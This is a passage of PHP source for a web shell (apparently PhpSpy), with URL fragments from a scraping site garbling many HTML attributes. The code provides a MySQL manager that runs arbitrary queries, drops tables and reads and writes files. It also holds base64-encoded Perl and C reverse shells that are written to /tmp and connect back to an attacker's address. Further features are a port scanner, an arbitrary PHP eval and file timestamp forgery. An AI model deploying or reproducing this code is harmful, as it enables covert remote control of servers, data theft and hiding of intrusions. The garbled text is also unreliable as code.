makeinput(array(‘name‘=>‘dbuser‘,‘size‘=>15,‘value‘=>$dbuser));  p(‘DBPass:‘);  makeinput(array(‘name‘=>‘dbpass‘,‘size‘=>15,‘value‘=>$dbpass));  p(‘DBName:‘);  makeinput(array(‘name‘=>‘dbname‘,‘size‘=>15,‘value‘=>$dbname));  p(‘DBCharset:‘);  makeselect(array(‘name‘=>‘charset‘,‘option‘=>$charsetdb,‘selected‘=>$charset,‘nokey‘=>1));  p(‘</p>‘);  formfoot();  p(‘<form action="‘.$self.‘" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">‘);  p(‘<h2>Upload file</h2>‘);  p(‘<p><b>This operation the DB user must has FILE privilege</b></p>‘);  p(‘<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\‘mysqlupload\‘);">Upload</a></p>‘);  p(‘<h2>Download file</h2>‘);  p(‘<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\‘mysqldown\‘);">Download</a></p>‘);  makehide(‘dbhost‘);  makehide(‘dbport‘);  makehide(‘dbuser‘);  makehide(‘dbpass‘);  makehide(‘dbname‘);  makehide(‘charset‘);  makehide(‘doing‘);  makehide(‘action‘,‘sqlfile‘);  p(‘</form>‘);}elseif ($action == ‘mysqladmin‘) {  !$dbhost && $dbhost = ‘localhost‘;  !$dbuser && $dbuser = ‘root‘;  !$dbport && $dbport = ‘3306‘;  $dbform = ‘<input type="hidden" id="connect" name="connect" value="http://www.mamicode.com/1" />‘;  if(isset($dbhost)){    $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=http://www.mamicode.com/"$dbhost\" />\n";  }  if(isset($dbuser)) {    $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=http://www.mamicode.com/"$dbuser\" />\n";  }  if(isset($dbpass)) {    $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=http://www.mamicode.com/"$dbpass\" />\n";  }  if(isset($dbport)) {    $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=http://www.mamicode.com/"$dbport\" />\n";  }  if(isset($dbname)) {    $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=http://www.mamicode.com/"$dbname\" />\n";  }  if(isset($charset)) {    $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=http://www.mamicode.com/"$charset\" />\n";  }  if ($doing == ‘backupmysql‘ && $saveasfile) {    if (!$table) {      m(‘Please choose the table‘);    } else {      $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);      $fp = @fopen($path,‘w‘);      if ($fp) {        foreach($table as $k => $v) {          if ($v) {            sqldumptable($v, $fp);          }        }        fclose($fp);                $fileurl = str_replace(SA_ROOT,‘‘,$path);        m(‘Database has success backup to <a href="http://www.mamicode.com/‘.$fileurl.‘" target="_blank">‘.$path.‘</a>‘);        mysql_close();      } else {        m(‘Backup failed‘);      }    }  }  if ($insert && $insertsql) {    $keystr = $valstr = $tmp = ‘‘;    foreach($insertsql as $key => $val) {      if ($val) {        $keystr .= $tmp.$key;        $valstr .= $tmp."‘".addslashes($val)."‘";        $tmp = ‘,‘;      }    }    if ($keystr && $valstr) {      $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);      m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? ‘Insert new record of success‘ : mysql_error());    }  }  if ($update && $insertsql && $base64) {    $valstr = $tmp = ‘‘;    foreach($insertsql as $key => $val) {      $valstr .= $tmp.$key."=‘".addslashes($val)."‘";      $tmp = ‘,‘;    }    if ($valstr) {      $where = base64_decode($base64);      $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);      m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? ‘Record updating‘ : mysql_error());    }  }  if ($doing == ‘del‘ && $base64) {    $where = base64_decode($base64);    $delete_sql = "DELETE FROM $tablename WHERE $where";    $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);    m(q("DELETE FROM $tablename WHERE $where") ? ‘Deletion record of success‘ : mysql_error());  }  if ($tablename && $doing == ‘drop‘) {    $mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);    if (q("DROP TABLE $tablename")) {      m(‘Drop table of success‘);      $tablename = ‘‘;    } else {      m(mysql_error());    }  }  formhead(array(‘title‘=>‘MYSQL Manager‘));  makehide(‘action‘,‘mysqladmin‘);  p(‘<p>‘);  p(‘DBHost:‘);  makeinput(array(‘name‘=>‘dbhost‘,‘size‘=>20,‘value‘=>$dbhost));  p(‘:‘);  makeinput(array(‘name‘=>‘dbport‘,‘size‘=>4,‘value‘=>$dbport));  p(‘DBUser:‘);  makeinput(array(‘name‘=>‘dbuser‘,‘size‘=>15,‘value‘=>$dbuser));  p(‘DBPass:‘);  makeinput(array(‘name‘=>‘dbpass‘,‘size‘=>15,‘value‘=>$dbpass));  p(‘DBCharset:‘);  makeselect(array(‘name‘=>‘charset‘,‘option‘=>$charsetdb,‘selected‘=>$charset,‘nokey‘=>1));  makeinput(array(‘name‘=>‘connect‘,‘value‘=>‘Connect‘,‘type‘=>‘submit‘,‘class‘=>‘bt‘));  p(‘</p>‘);  formfoot();  //操作记录  formhead(array(‘name‘=>‘recordlist‘));  makehide(‘doing‘);  makehide(‘action‘,‘mysqladmin‘);  makehide(‘base64‘);  makehide(‘tablename‘);  p($dbform);  formfoot();  //选定数据库  formhead(array(‘name‘=>‘setdbname‘));  makehide(‘action‘,‘mysqladmin‘);  p($dbform);  if (!$dbname) {    makehide(‘dbname‘);  }  formfoot();  //选定表  formhead(array(‘name‘=>‘settable‘));  makehide(‘action‘,‘mysqladmin‘);  p($dbform);  makehide(‘tablename‘);  makehide(‘page‘,$page);  makehide(‘doing‘);  formfoot();  $cachetables = array();     $pagenum = 30;  $page = intval($page);  if($page) {    $start_limit = ($page - 1) * $pagenum;  } else {    $start_limit = 0;    $page = 1;  }  if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {    $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);    //获取数据库信息    $mysqlver = mysql_get_server_info();    p(‘<p>MySQL ‘.$mysqlver.‘ running in ‘.$dbhost.‘ as ‘.$dbuser.‘@‘.$dbhost.‘</p>‘);    $highver = $mysqlver > ‘4.1‘ ? 1 : 0;    //获取数据库    $query = q("SHOW DATABASES");    $dbs = array();    $dbs[] = ‘-- Select a database --‘;    while($db = mysql_fetch_array($query)) {      $dbs[$db[‘Database‘]] = $db[‘Database‘];    }    makeselect(array(‘title‘=>‘Please select a database:‘,‘name‘=>‘db[]‘,‘option‘=>$dbs,‘selected‘=>$dbname,‘onchange‘=>‘moddbname(this.options[this.selectedIndex].value)‘,‘newline‘=>1));    $tabledb = array();    if ($dbname) {      p(‘<p>‘);      p(‘Current dababase: <a href="javascript:moddbname(\‘‘.$dbname.‘\‘);">‘.$dbname.‘</a>‘);      if ($tablename) {        p(‘ | Current Table: <a href="javascript:settable(\‘‘.$tablename.‘\‘);">‘.$tablename.‘</a> [ <a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘insert\‘);">Insert</a> | <a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘structure\‘);">Structure</a> | <a href="javascript:settable(\‘‘.$tablename.‘\‘, \‘drop\‘);">Drop</a> ]‘);      }      p(‘</p>‘);      mysql_select_db($dbname);      $getnumsql = ‘‘;      $runquery = 0;      if ($sql_query) {        $runquery = 1;      }      $allowedit = 0;      if ($tablename && !$sql_query) {        $sql_query = "SELECT * FROM $tablename";        $getnumsql = $sql_query;        $sql_query = $sql_query." LIMIT $start_limit, $pagenum";        $allowedit = 1;      }      p(‘<form action="‘.$self.‘" method="POST">‘);      p(‘<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database ‘.$dbname.‘:</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">‘.htmlspecialchars($sql_query,ENT_QUOTES).‘</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="http://www.mamicode.com/Query" /></td></tr></table></p>‘);      makehide(‘tablename‘, $tablename);      makehide(‘action‘,‘mysqladmin‘);      p($dbform);      p(‘</form>‘);      if ($tablename || ($runquery && $sql_query)) {        if ($doing == ‘structure‘) {          $result = q("SHOW FULL COLUMNS FROM $tablename");          $rowdb = array();          while($row = mysql_fetch_array($result)) {            $rowdb[] = $row;          }          p(‘<h3>Structure</h3>‘);          p(‘<table border="0" cellpadding="3" cellspacing="0">‘);          p(‘<tr class="head">‘);          p(‘<td>Field</td>‘);          p(‘<td>Type</td>‘);          p(‘<td>Collation</td>‘);          p(‘<td>Null</td>‘);          p(‘<td>Key</td>‘);          p(‘<td>Default</td>‘);          p(‘<td>Extra</td>‘);          p(‘<td>Privileges</td>‘);          p(‘<td>Comment</td>‘);          p(‘</tr>‘);          foreach ($rowdb as $row) {            $thisbg = bg();            p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);            p(‘<td>‘.$row[‘Field‘].‘</td>‘);            p(‘<td>‘.$row[‘Type‘].‘</td>‘);            p(‘<td>‘.$row[‘Collation‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Null‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Key‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Default‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Extra‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Privileges‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Comment‘].‘&nbsp;</td>‘);            p(‘</tr>‘);          }          tbfoot();          $result = q("SHOW INDEX FROM $tablename");          $rowdb = array();          while($row = mysql_fetch_array($result)) {            $rowdb[] = $row;          }          p(‘<h3>Indexes</h3>‘);          p(‘<table border="0" cellpadding="3" cellspacing="0">‘);          p(‘<tr class="head">‘);          p(‘<td>Keyname</td>‘);          p(‘<td>Type</td>‘);          p(‘<td>Unique</td>‘);          p(‘<td>Packed</td>‘);          p(‘<td>Seq_in_index</td>‘);          p(‘<td>Field</td>‘);          p(‘<td>Cardinality</td>‘);          p(‘<td>Collation</td>‘);          p(‘<td>Null</td>‘);          p(‘<td>Comment</td>‘);          p(‘</tr>‘);          foreach ($rowdb as $row) {            $thisbg = bg();            p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);            p(‘<td>‘.$row[‘Key_name‘].‘</td>‘);            p(‘<td>‘.$row[‘Index_type‘].‘</td>‘);            p(‘<td>‘.($row[‘Non_unique‘] ? ‘No‘ : ‘Yes‘).‘&nbsp;</td>‘);            p(‘<td>‘.($row[‘Packed‘] === null ? ‘No‘ : $row[‘Packed‘]).‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Seq_in_index‘].‘</td>‘);            p(‘<td>‘.$row[‘Column_name‘].($row[‘Sub_part‘] ? ‘(‘.$row[‘Sub_part‘].‘)‘ : ‘‘).‘&nbsp;</td>‘);            p(‘<td>‘.($row[‘Cardinality‘] ? $row[‘Cardinality‘] : 0).‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Collation‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Null‘].‘&nbsp;</td>‘);            p(‘<td>‘.$row[‘Comment‘].‘&nbsp;</td>‘);            p(‘</tr>‘);          }          tbfoot();        } elseif ($doing == ‘insert‘ || $doing == ‘edit‘) {          $result = q(‘SHOW COLUMNS FROM ‘.$tablename);          while ($row = mysql_fetch_array($result)) {            $rowdb[] = $row;          }          $rs = array();          if ($doing == ‘insert‘) {            p(‘<h2>Insert new line in ‘.$tablename.‘ table &raquo;</h2>‘);          } else {            p(‘<h2>Update record in ‘.$tablename.‘ table &raquo;</h2>‘);            $where = base64_decode($base64);            $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");            $rs = mysql_fetch_array($result);          }          p(‘<form method="post" action="‘.$self.‘">‘);          p($dbform);          makehide(‘action‘,‘mysqladmin‘);          makehide(‘tablename‘,$tablename);          p(‘<table border="0" cellpadding="3" cellspacing="0">‘);          foreach ($rowdb as $row) {            if ($rs[$row[‘Field‘]]) {              $value = htmlspecialchars($rs[$row[‘Field‘]]);            } else {              $value = ‘‘;            }            $thisbg = bg();            p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);            if ($row[‘Key‘] == ‘UNI‘ || $row[‘Extra‘] == ‘auto_increment‘ || $row[‘Key‘] == ‘PRI‘) {              p(‘<td><b>‘.$row[‘Field‘].‘</b><br />‘.$row[‘Type‘].‘</td><td>‘.$value.‘&nbsp;</td></tr>‘);            } else {                            p(‘<td><b>‘.$row[‘Field‘].‘</b><br />‘.$row[‘Type‘].‘</td><td><textarea class="area" name="insertsql[‘.$row[‘Field‘].‘]" style="width:500px;height:60px;overflow:auto;">‘.$value.‘</textarea></td></tr>‘);            }          }          if ($doing == ‘insert‘) {            p(‘<tr class="‘.bg().‘"><td colspan="2"><input class="bt" type="submit" name="insert" value="http://www.mamicode.com/Insert" /></td></tr>‘);          } else {            p(‘<tr class="‘.bg().‘"><td colspan="2"><input class="bt" type="submit" name="update" value="http://www.mamicode.com/Update" /></td></tr>‘);            makehide(‘base64‘, $base64);          }          p(‘</table></form>‘);        } else {          $querys = @explode(‘;‘,$sql_query);          foreach($querys as $num=>$query) {            if ($query) {              p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");              switch(qy($query))              {                case 0:                  p(‘<h2>Error : ‘.mysql_error().‘</h2>‘);                  break;                 case 1:                  if (strtolower(substr($query,0,13)) == ‘select * from‘) {                    $allowedit = 1;                  }                  if ($getnumsql) {                    $tatol = mysql_num_rows(q($getnumsql));                    $multipage = multi($tatol, $pagenum, $page, $tablename);                  }                  if (!$tablename) {                    $sql_line = str_replace(array("\r", "\n", "\t"), array(‘ ‘, ‘ ‘, ‘ ‘), trim(htmlspecialchars($query)));                    $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);                    preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);                    $tablename = $matches[1][0];                  }                  /*********************/                  $getfield = q("SHOW COLUMNS FROM $tablename");                  $rowdb = array();                  $keyfied = ‘‘; //主键字段                  while($row = @mysql_fetch_assoc($getfield)) {                    $rowdb[$row[‘Field‘]][‘Key‘] = $row[‘Key‘];                    $rowdb[$row[‘Field‘]][‘Extra‘] = $row[‘Extra‘];                    if ($row[‘Key‘] == ‘UNI‘ || $row[‘Key‘] == ‘PRI‘) {                      $keyfied = $row[‘Field‘];                    }                  }                  /*********************/                                   //直接浏览表按照主键降序排列                  if ($keyfied && strtolower(substr($query,0,13)) == ‘select * from‘) {                    $query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);                  }                  $result = q($query);                  p($multipage);                  p(‘<table border="0" cellpadding="3" cellspacing="0">‘);                  p(‘<tr class="head">‘);                  if ($allowedit) p(‘<td>Action</td>‘);                  $fieldnum = @mysql_num_fields($result);                  for($i=0;$i<$fieldnum;$i++){                    $name = @mysql_field_name($result, $i);                    $type = @mysql_field_type($result, $i);                    $len = @mysql_field_len($result, $i);                    p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name][‘Key‘] == ‘UNI‘ || $rowdb[$name][‘Key‘] == ‘PRI‘) ? ‘<b> - PRIMARY</b>‘ : ‘‘).($rowdb[$name][‘Extra‘] == ‘auto_increment‘ ? ‘<b> - Auto</b>‘ : ‘‘)."</span></td>");                  }                  p(‘</tr>‘);                  while($mn = @mysql_fetch_assoc($result)){                    $thisbg = bg();                    p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);                    $where = $tmp = $b1 = ‘‘;                    //选取条件字段用                    foreach($mn as $key=>$inside){                      if ($inside) {                        //查找主键、唯一属性、自动增加的字段，找到就停止，否则组合所有字段作为条件。                        if ($rowdb[$key][‘Key‘] == ‘UNI‘ || $rowdb[$key][‘Extra‘] == ‘auto_increment‘ || $rowdb[$key][‘Key‘] == ‘PRI‘) {                          $where = $key."=‘".addslashes($inside)."‘";                          break;                        }                        $where .= $tmp.$key."=‘".addslashes($inside)."‘";                        $tmp = ‘ AND ‘;                      }                    }                    //读取记录用                    foreach($mn as $key=>$inside){                      $b1 .= ‘<td nowrap>‘.html_clean($inside).‘&nbsp;</td>‘;                    }                    $where = base64_encode($where);                    if ($allowedit) p(‘<td nowrap><a href="javascript:editrecord(\‘edit\‘, \‘‘.$where.‘\‘, \‘‘.$tablename.‘\‘);">Edit</a> | <a href="javascript:editrecord(\‘del\‘, \‘‘.$where.‘\‘, \‘‘.$tablename.‘\‘);">Del</a></td>‘);                    p($b1);                    p(‘</tr>‘);                    unset($b1);                  }                  p(‘<tr class="head">‘);                  if ($allowedit) p(‘<td>Action</td>‘);                  $fieldnum = @mysql_num_fields($result);                  for($i=0;$i<$fieldnum;$i++){                    $name = @mysql_field_name($result, $i);                    $type = @mysql_field_type($result, $i);                    $len = @mysql_field_len($result, $i);                    p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name][‘Key‘] == ‘UNI‘ || $rowdb[$name][‘Key‘] == ‘PRI‘) ? ‘<b> - PRIMARY</b>‘ : ‘‘).($rowdb[$name][‘Extra‘] == ‘auto_increment‘ ? ‘<b> - Auto</b>‘ : ‘‘)."</span></td>");                  }                  p(‘</tr>‘);                  tbfoot();                  p($multipage);                  break;                case 2:                  $ar = mysql_affected_rows();                  p(‘<h2>affected rows : <b>‘.$ar.‘</b></h2>‘);                  break;              }            }          }        }      } else {        $query = q("SHOW TABLE STATUS");        $table_num = $table_rows = $data_size = 0;        $tabledb = array();        while($table = mysql_fetch_array($query)) {          $data_size = $data_size + $table[‘Data_length‘];          $table_rows = $table_rows + $table[‘Rows‘];          $table[‘Data_length‘] = sizecount($table[‘Data_length‘]);          $table_num++;          $tabledb[] = $table;        }        $data_size = sizecount($data_size);        unset($table);        p(‘<table border="0" cellpadding="0" cellspacing="0">‘);        p(‘<form action="‘.$self.‘" method="POST">‘);        makehide(‘action‘,‘mysqladmin‘);        p($dbform);        p(‘<tr class="head">‘);        p(‘<td width="2%" align="center">&nbsp;</td>‘);        p(‘<td>Name</td>‘);        p(‘<td>Rows</td>‘);        p(‘<td>Data_length</td>‘);        p(‘<td>Create_time</td>‘);        p(‘<td>Update_time</td>‘);        if ($highver) {          p(‘<td>Engine</td>‘);          p(‘<td>Collation</td>‘);        }        p(‘<td>Operate</td>‘);        p(‘</tr>‘);        foreach ($tabledb as $key => $table) {          $thisbg = bg();          p(‘<tr class="‘.$thisbg.‘" onm ouseover="this.className=\‘focus\‘;" onm ouseout="this.className=\‘‘.$thisbg.‘\‘;">‘);          p(‘<td align="center" width="2%"><input type="checkbox" name="table[]" value="http://www.mamicode.com/‘.$table[‘Name‘].‘" /></td>‘);          p(‘<td><a href="javascript:settable(\‘‘.$table[‘Name‘].‘\‘);">‘.$table[‘Name‘].‘</a></td>‘);          p(‘<td>‘.$table[‘Rows‘].‘</td>‘);          p(‘<td>‘.$table[‘Data_length‘].‘</td>‘);          p(‘<td>‘.$table[‘Create_time‘].‘&nbsp;</td>‘);          p(‘<td>‘.$table[‘Update_time‘].‘&nbsp;</td>‘);          if ($highver) {            p(‘<td>‘.$table[‘Engine‘].‘</td>‘);            p(‘<td>‘.$table[‘Collation‘].‘</td>‘);          }          p(‘<td><a href="javascript:settable(\‘‘.$table[‘Name‘].‘\‘, \‘insert\‘);">Insert</a> | <a href="javascript:settable(\‘‘.$table[‘Name‘].‘\‘, \‘structure\‘);">Structure</a> | <a href="javascript:settable(\‘‘.$table[‘Name‘].‘\‘, \‘drop\‘);">Drop</a></td>‘);          p(‘</tr>‘);        }        p(‘<tr class="head">‘);        p(‘<td width="2%" align="center"><input name="chkall" value="http://www.mamicode.com/on" type="checkbox" onclick="CheckAll(this.form)" /></td>‘);        p(‘<td>Name</td>‘);        p(‘<td>Rows</td>‘);        p(‘<td>Data_length</td>‘);        p(‘<td>Create_time</td>‘);        p(‘<td>Update_time</td>‘);        if ($highver) {          p(‘<td>Engine</td>‘);          p(‘<td>Collation</td>‘);        }        p(‘<td>Operate</td>‘);        p(‘</tr>‘);        p(‘<tr class=‘.bg().‘>‘);        p(‘<td>&nbsp;</td>‘);        p(‘<td>Total tables: ‘.$table_num.‘</td>‘);        p(‘<td>‘.$table_rows.‘</td>‘);        p(‘<td>‘.$data_size.‘</td>‘);        p(‘<td colspan="‘.($highver ? 5 : 3).‘">&nbsp;</td>‘);        p(‘</tr>‘);        p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=http://www.mamicode.com/"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=http://www.mamicode.com/"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=http://www.mamicode.com/"Export selection table\" /></td></tr>");        makehide(‘doing‘,‘backupmysql‘);        formfoot();        p("</table>");        fr($query);      }    }  }  tbfoot();  @mysql_close();}//end mysqlelseif ($action == ‘backconnect‘) {  !$yourip && $yourip = $_SERVER[‘REMOTE_ADDR‘];  !$yourport && $yourport = ‘12345‘;  $usedb = array(‘perl‘=>‘perl‘,‘c‘=>‘c‘);  $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";  $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".    "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".    "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".    "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".    "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".    "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".    "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".    "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";  if ($start && $yourip && $yourport && $use){    if ($use == ‘perl‘) {      cf(‘/tmp/angel_bc‘,$back_connect);      $res = execute(which(‘perl‘)." /tmp/angel_bc $yourip $yourport &");    } else {      cf(‘/tmp/angel_bc.c‘,$back_connect_c);      $res = execute(‘gcc -o /tmp/angel_bc /tmp/angel_bc.c‘);      @unlink(‘/tmp/angel_bc.c‘);      $res = execute("/tmp/angel_bc $yourip $yourport &");    }    m("Now script try connect to $yourip port $yourport ...");  }  formhead(array(‘title‘=>‘Back Connect‘));  makehide(‘action‘,‘backconnect‘);  p(‘<p>‘);  p(‘Your IP:‘);  makeinput(array(‘name‘=>‘yourip‘,‘size‘=>20,‘value‘=>$yourip));  p(‘Your Port:‘);  makeinput(array(‘name‘=>‘yourport‘,‘size‘=>15,‘value‘=>$yourport));  p(‘Use:‘);  makeselect(array(‘name‘=>‘use‘,‘option‘=>$usedb,‘selected‘=>$use));  makeinput(array(‘name‘=>‘start‘,‘value‘=>‘Start‘,‘type‘=>‘submit‘,‘class‘=>‘bt‘));  p(‘</p>‘);  formfoot();}//endelseif ($action == ‘portscan‘) {  !$scanip && $scanip = ‘127.0.0.1‘;  !$scanport && $scanport = ‘21,25,80,110,135,139,445,1433,3306,3389,5631,43958‘;  formhead(array(‘title‘=>‘Port Scan‘));  makehide(‘action‘,‘portscan‘);  p(‘<p>‘);  p(‘IP:‘);  makeinput(array(‘name‘=>‘scanip‘,‘size‘=>20,‘value‘=>$scanip));  p(‘Port:‘);  makeinput(array(‘name‘=>‘scanport‘,‘size‘=>80,‘value‘=>$scanport));  makeinput(array(‘name‘=>‘startscan‘,‘value‘=>‘Scan‘,‘type‘=>‘submit‘,‘class‘=>‘bt‘));  p(‘</p>‘);  formfoot();  if ($startscan) {    p(‘<h2>Result &raquo;</h2>‘);    p(‘<ul class="info">‘);    foreach(explode(‘,‘, $scanport) as $port) {      $fp = @fsockopen($scanip, $port, &$errno, &$errstr, 1);       if (!$fp) {        p(‘<li>‘.$scanip.‘:‘.$port.‘ ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>‘);      } else {        p(‘<li>‘.$scanip.‘:‘.$port.‘ ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>‘);        @fclose($fp);      }     }    p(‘</ul>‘);  }}elseif ($action == ‘eval‘) {  $phpcode = trim($phpcode);  if($phpcode){    if (!preg_match(‘#<\?#si‘, $phpcode)) {      $phpcode = "<?php\n\n{$phpcode}\n\n?>";    }    eval("?".">$phpcode<?");  }  formhead(array(‘title‘=>‘Eval PHP Code‘));  makehide(‘action‘,‘eval‘);  maketext(array(‘title‘=>‘PHP Code‘,‘name‘=>‘phpcode‘, ‘value‘=>$phpcode));  p(‘<p><a href="http://w‘.‘ww.4ng‘.‘el.net/php‘.‘spy/pl‘.‘ugin/" target="_blank">Get plugins</a></p>‘);  formfooter();}//end evalelseif ($action == ‘editfile‘) {  if(file_exists($opfile)) {    $fp=@fopen($opfile,‘r‘);    $contents=@fread($fp, filesize($opfile));    @fclose($fp);    $contents=htmlspecialchars($contents);  }  formhead(array(‘title‘=>‘Create / Edit File‘));  makehide(‘action‘,‘file‘);  makehide(‘dir‘,$nowpath);  makeinput(array(‘title‘=>‘Current File (import new file name and new file)‘,‘name‘=>‘editfilename‘,‘value‘=>$opfile,‘newline‘=>1));  maketext(array(‘title‘=>‘File Content‘,‘name‘=>‘filecontent‘,‘value‘=>$contents));  formfooter();  goback();}//end editfileelseif ($action == ‘newtime‘) {  $opfilemtime = @filemtime($opfile);  //$time = strtotime("$year-$month-$day $hour:$minute:$second");  $cachemonth = array(‘January‘=>1,‘February‘=>2,‘March‘=>3,‘April‘=>4,‘May‘=>5,‘June‘=>6,‘July‘=>7,‘August‘=>8,‘September‘=>9,‘October‘=>10,‘November‘=>11,‘December‘=>12);  formhead(array(‘title‘=>‘Clone folder/file was last modified time‘));  makehide(‘action‘,‘file‘);  makehide(‘dir‘,$nowpath);  makeinput(array(‘title‘=>‘Alter folder/file‘,‘name‘=>‘curfile‘,‘value‘=>$opfile,‘size‘=>120,‘newline‘=>1));  makeinput(array(‘title‘=>‘Reference folder/file (fullpath)‘,‘name‘=>‘tarfile‘,‘size‘=>120,‘newline‘=>1));  formfooter();  formhead(array(‘title‘=>‘Set last modified‘));  makehide(‘action‘,‘file‘);  makehide(‘dir‘,$nowpath);  makeinput(array(‘title‘=>‘Current folder/file (fullpath)‘,‘name‘=>‘curfile‘,‘value‘=>$opfile,‘size‘=>120,‘newline‘=>1));  p(‘<p>year:‘);  makeinput(array(‘name‘=>‘year‘,‘value‘=>date(‘Y‘,$opfilemtime),‘size‘=>4));  p(‘month:‘);  